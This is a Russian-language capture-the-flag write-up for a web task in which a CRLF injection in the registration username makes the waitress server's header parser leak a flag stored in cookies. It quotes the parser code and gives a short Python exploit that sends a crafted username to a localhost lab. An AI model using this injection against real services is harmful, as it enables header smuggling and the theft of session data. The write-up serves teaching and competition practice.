---
# System prepended metadata

title: WEB-2

---

# WEB-2

Оценка: 20

## Описание

В данном задании необходимо выполнить атаку на взаимодействие между двумя приложениями.

[Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/WEB-2/3d030fce-e045-4ef4-aea4-1044dd676b4c_source.zip)

## Решение

Веб-приложение представляет из себя форму регистрации и входа пользователя (рис. 1).
![](https://i.imgur.com/mxfY0ga.jpg)
Рис. 1

## Решение
Участник должен придумать, каким образом можно ликнуть флаг из кук. Сразу же бросается в глаза подключение по TCP сокету.
Заметив, что используется wsgi waitress, участник должен начать исследовать исходный код данного проекта.
```python3
def get_header_lines(header):
    """
    Splits the header into lines, putting multi-line headers together.
    """
    r = []
    lines = header.split(b"\r\n")
    for line in lines:
        if not line:
            continue

        if b"\r" in line or b"\n" in line:
            raise ParsingError('Bare CR or LF found in header line "%s"' % tostr(line))

        if line.startswith((b" ", b"\t")):
            if not r:
                # https://corte.si/posts/code/pathod/pythonservers/index.html
                raise ParsingError('Malformed header line "%s"' % tostr(line))
            r[-1] += line
        else:
            r.append(line)
    return r
```
 Участник может сделать CRLF-инъекцию, тем самым разделив его имя и флаг на два разных заголовка (для интерпертатора), затем, добавив в строчку с флагом `\r` или `\n` (рис. 2).
![](https://i.imgur.com/tS4RV4A.jpg)
Рис. 2

Пример реализации эксплойта для решения:

```python
import requests

URL_BASE = "http://127.0.0.1:3000"

s = requests.Session()

s.post(f"{URL_BASE}/register", data={ "username": "username\r\n\r", "password": "123" })

res = s.get(URL_BASE)

print(res.text)
```